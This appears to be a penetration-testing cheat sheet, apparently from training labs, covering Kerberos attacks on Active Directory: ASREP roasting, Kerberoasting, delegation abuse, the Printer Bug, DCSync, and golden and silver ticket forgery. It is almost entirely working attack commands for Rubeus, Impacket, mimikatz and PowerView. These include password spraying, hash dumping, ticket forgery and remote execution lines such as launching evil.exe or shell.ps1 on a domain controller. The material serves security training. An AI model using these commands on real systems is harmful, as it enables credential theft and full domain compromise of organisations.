Kerberos

Kerberoasting | ASPRoasting | Delegation | Printer Bug

Service Type
Service Silver Tickets
Attack

WMI

HOST + RPCSS

wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"

PowerShell Remoting

CIFS + HTTP + (wsman?)

New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC

WinRM

HTTP + wsman

New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC

Scheduled Tasks

HOST

schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"

Windows File Share (CIFS)

CIFS

dir \\dc01\c$

LDAP operations including Mimikatz DCSync

LDAP

lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt

Windows Remote Server Administration Tools

RPCSS + LDAP + CIFS

/

ASREP Roasting

If an account has Kerberos pre-authentication disabled i can request a TGT. Send a special AS_REQ (Authentication Service Request) packet to the KDC, pretending to be the user. An AS_REP is sent back with a key derived from password. With GenericAll its also possible to enable DONT_REQ_PREAUTH.

From Windows

# Powerview
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

# Enable DONT_REQ_PREAUTH with powerview
Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose
# Rubeus
.\Rubeus.exe asreproast /user:john.doe /domain:zencorp.local /dc:dc01.zencorp.local /nowrap /outfile:hashes.txt

From Linux

# Bash with GetNPUsers.py
for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done

# Get Users
GetNPUsers.py zencorp.local/joe
kerbrute userenum usernamelist.txt --dc dc01.zencorp.local -d zencorp.local 

# With users list
GetNPUsers.py -usersfile users -format hashcat -dc-ip 172.16.8.3 'ZENCORP.LOCAL/'

# Password spray
kerbrute passwordspray usernamelist.txt pass@!23 --dc dc01.zencorp.local -d zencorp.local

# Get User hashes
GetNPUsers.py zencorp.local/joe -request

# GetNPUsers.py
python3 GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.129.254.42 'ZENCORP.LOCAL/j.doe'

# Find accounts without authentication
GetNPUsers.py ZENCORP/ -dc-ip 10.129.205.35 -usersfile /tmp/users.txt -format hashcat -outputfile /tmp/hashes.txt -no-pass

Kerberoasting from Windows

# Using powerview find users with SPN set
Get-DomainUser -SPN

# Kerberoast
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation

# Read hashes
cat .\tgs.csv

# Automatic method
Invoke-Kerberoast

# Using Rubeus
Rubeus.exe kerberoast /nowrap

Kerberoast without account password

If we know of an account without Kerberost pre-auth enabled we can use an AS-REQ (used for TGT request) to request a TGS ticket for a kerberoastable user. Its done by modifying the req-body of the request. You need a username with DONT_REQ_PREAUTH and SPNs list.

# Rubeus attack with /nopreauth
Rubeus.exe kerberoast /nopreauth:john.doe /domain:zencorp.local /spn:MSSQLSvc/SQL01:1433 /nowrap

Kerberoasting from Linux

# Get accounts with spn set
GetUserSPNs.py inlanefreight.local/john

# Request STs and hashes
GetUserSPNs.py inlanefreight.local/john -request
GetUserSPNs.py -dc-ip 172.16.51.5 ZENCORP.LOCAL/user -request 

Check ASREP and Kerberoastble accounts

# Check for ASREP
Get-ADUser -Filter {DoesNotRequirePreAuth -eq 'True'}

# Check SPN
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object Name, SamAccountName, ServicePrincipalName

Unconstrained Delegation - Computers

If compromised a server and Domain admin logs in we can extract their TGT.

# Monitoring for logins
.\Rubeus.exe monitor /interval:5 /nowrap

# Use ticket to request another ticket
.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.ZENCORP.local /ptt

# Get new TGT 
.\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt

Printer Bug

Printer Bug is a vulnerability in the MS-RPRN protocol which is used for managing print jobs and printers. This bug can trick a server into authenticating to another machine over SMB.

# Rubeus in monitor mode
.\Rubeus.exe monitor /interval:5 /nowrap

# Trigger Printer Bug
.\SpoolSample.exe dc01.zencorp.local sql01.zencorp.local

# Use retrieved ticket to get a new TGT
.\Rubeus.exe renew /ticket:doIFZjCCBWKgAwIB9966JMGtJhKaNLBt21SY3+on4lrOrHo<SNIP> /ptt

# With TGT in memory perform DCSync
.\mimikatz.exe privilege::debug "lsadump::dcsync /domain:zencorp.local /user:administrator" exit

Using a hash and impersonate John Doe

# Pass the ticket
.\Rubeus.exe asktgt /rc4:0fcb586d2aec31967c8a310d1ac2bf50 /user:john.doe /ptt

# Acces DC as john.doe
dir \\dc01.inlanefreight.local\c$
more \\DC01\Shares\Marketing\flag.txt

Using S4U2self for non-DC's

If target is a non-DC we can use S4U2self to obtain service ticket on behalf of any user. CIFS will enable SMB connections.

.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.zencorp.local /ptt /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCB<SNIP>

# Dir or read file
ls \\dc01.zencorp.local\c$
more \\DC01\Shares\Marketing\flag.txt

Unconstrained Delegation - Users

Needs account with TRUSTED_FOR_DELEGATION and GenericWrite to update SPN list.

# Look for users with TRUSTED_FOR_DELEGATION
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
  1. Create a Fake DNS Record

# krbrelayx
git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx

# Create fake record
python dnstool.py -u ZENCORP.LOCAL\\john -p p4ssw0rd -r fakepc.ZENCORP.LOCAL -d attackerIP --action add targetIP

# Verify record
nslookup fakepc.zencorp.local dc01.zencorp.local
  1. Add SPN

# Add SPN
python addspn.py -u ZENCORP.local\\john -p p4ssw0rd --target-type samname -t sqldev -s CIFS/fakepc.ZENCORP.local dc01.ZENCORP.local
  1. Listen with krbrelay and let printerbug let DC01 authenticate to our machine.

# Decrypt ticket
sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58 -t dc01.inlanefreight.local

# Printerbug
python3 printerbug.py inlanefreight.local/carole.rose:jasmine@attackerIP roguecomputer.inlanefreight.local
  1. Use TGT to DCSync

export KRB5CCNAME=./DC01\[email protected][email protected]
secretsdump.py -k -no-pass dc01.zencorp.local

Constrained Delegation

From windows

# Constrained delegation with Rubeus
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.zencorp.local /altservice:HTTP /user:DMZ01$ /rc4:c48771baa19sfsa0e8045fbafd0b52d0 /ptt

# Get remote shell
Enter-PSSession ws01.inlanefreight.local

From Linux

# Find accounts with delegation privs
findDelegation.py INLANEFREIGHT.LOCAL/john.doe:pass123

# Get a valid TGS
getST.py -spn TERMSRV/DC01 'ZENCORP.LOCAL/roger.jones:p@ss123$' -impersonate Administrator

# Using the ticket
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass ZENCORP.LOCAL/administrator@DC01 

Resource-based constrained delegation (RBCD) from Windows

Search for users
# import the PowerView module
Import-Module C:\Tools\PowerView.ps1

# get all computers in the domain
$computers = Get-DomainComputer

# get all users in the domain
$users = Get-DomainUser

# define the required access rights
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"

# loop through each computer in the domain
foreach ($computer in $computers) {
    # get the security descriptor for the computer
    $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs

    # loop through each user in the domain
    foreach ($user in $users) {
        # check if the user has the required access rights on the computer object
        $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}

        if ($hasAccess) {
            Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
        }
    }
}

The easiest way to obtain an object with SPN is to use a computer, even by making a fake computer.

Create a computer account

# Import PowerMad
Import-Module .\Powermad.ps1

# Create computer account
New-MachineAccount -MachineAccount ZENPC -Password $(ConvertTo-SecureString "pass132" -AsPlainText -Force)
$ComputerSid = Get-DomainComputer ZENPC -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "ZENCORP\john.doe", (ConvertTo-SecureString "pass123" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

Get hash of our account, then get ticket.

# Get hash of computer account
.\Rubeus.exe hash /password:pass123 /user:ZEN$ /domain:ZENCORP.local

# Get TGS 
.\Rubeus.exe s4u /user:ZENPC$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.zencorp.local /ptt

# Get access
ls \\dc01.inlanefreight.local\c$

RBCD From Linux

Create computer account

addcomputer.py -computer-name 'ZENPC$' -computer-pass pass@123 -dc-ip 10.129.205.35 zencorp.local/john.doe

Add account to targeted computer's trust list

rbcd.py -dc-ip 10.129.205.35 -t DC01 -f HACKTHEBOX zencorp\\john.doe:passwd@123

Request TGT, then S4U2Self to get TGS, adn then S42UProxy for valid TGS for specific SPN

getST.py -spn cifs/DC01.zencorp.local -impersonate Administrator -dc-ip 10.129.205.35 zencorp.local/ZENPC:pass@123

Use ticket to pwn

KRB5CCNAME=Administrator@[email protected] psexec.py -k -no-pass dc01.zencorp.local

RBCD When MachineAccountQuota Is Set to 0

If unable to create a computer account, or if account has no SPN set we can still perfor the attack https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html.

Get TGT using account NT hash

# Convert to NT
pypykatz crypto nt 'B3thR!ch@rd$'

# Get TGT
getTGT.py ZENCORP.LOCAL/john.doe -hashes :de3a12633d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35

Get ticket session key so KDC can decrypt TGT

describeTicket.py beth.richards.ccache | grep 'Ticket Session Key'

Change user's password

changepasswd.py ZENCORP.LOCAL/[email protected] -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :7c3d8b8b135c7d574e423dcd826cab58

Request TGS

KRB5CCNAME=beth.richards.ccache getST.py -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass ZENCORP.LOCAL/john.doe -dc-ip 10.129.205.35

Acces the DC

KRB5CCNAME=Administrator@[email protected] wmiexec.py DC01.ZENCORP.LOCAL -k -no-pass

Golden ticket from Windows

To forge a golden ticket you need: Domain name, Domain SID, Username to impersonate, KRBTGT's hash.

Get SID and get KRBTGT hash with mimikatz

# SID
Get-DomainSID

# Get KRBTGT hash
lsadump::dcsync /user:krbtgt /domain:zencorp.local

Then forge a golden ticket

kerberos::golden /domain:zencorp.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt

Connect to DC01 using WinRM

Enter-PSSession dc01

Golden ticket from Linux

# Get SID
lookupsid.py zencorp.local/[email protected] -domain-sids

# Craft golden ticket
ticketer.py -nthash 810d754e118439bab1e1d13216150299 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain zencorp.local Administrator

# Get access
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.zencorp.local

Silver Ticket from Windows

# Get SID
Import-Module .\PowerView.ps1
Get-DomainSID

Create silver ticket. Need hash of Service Account

.\mimikatz.exe privilege::debug "kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-1870146311-1183348186-593267556 /rc4:027c6604526b7b16a22e320b76e54a5b /user:Administrator /service:CIFS /target:SQL01.zencorp.local /ptt" exit

Sacrificial Processes

A Sacrificial Process creates a new Logon Session, isolating manipulated tickets and preventing impact on critical sessions, so its safer than causing outage. Needs admin rights

Check all tickets and extract a krbtgt/ZENCORP.LOCAL service TGT

.\Rubeus.exe triage

Extract ticket using LUID

.\Rubeus.exe dump /luid:0xc2cd0 /service:krbtgt /nowrap

Use createnetonly to create sacrificial process.

.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

# Authenticated
.\Rubeus.exe createnetonly /program:powershell.exe /username:holly /password:'Password123!' /domain:zencorp.local /show

Within new cmd window

Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA<SNIP> /ptt
dir \\dc01\\c$

Last updated

Was this helpful?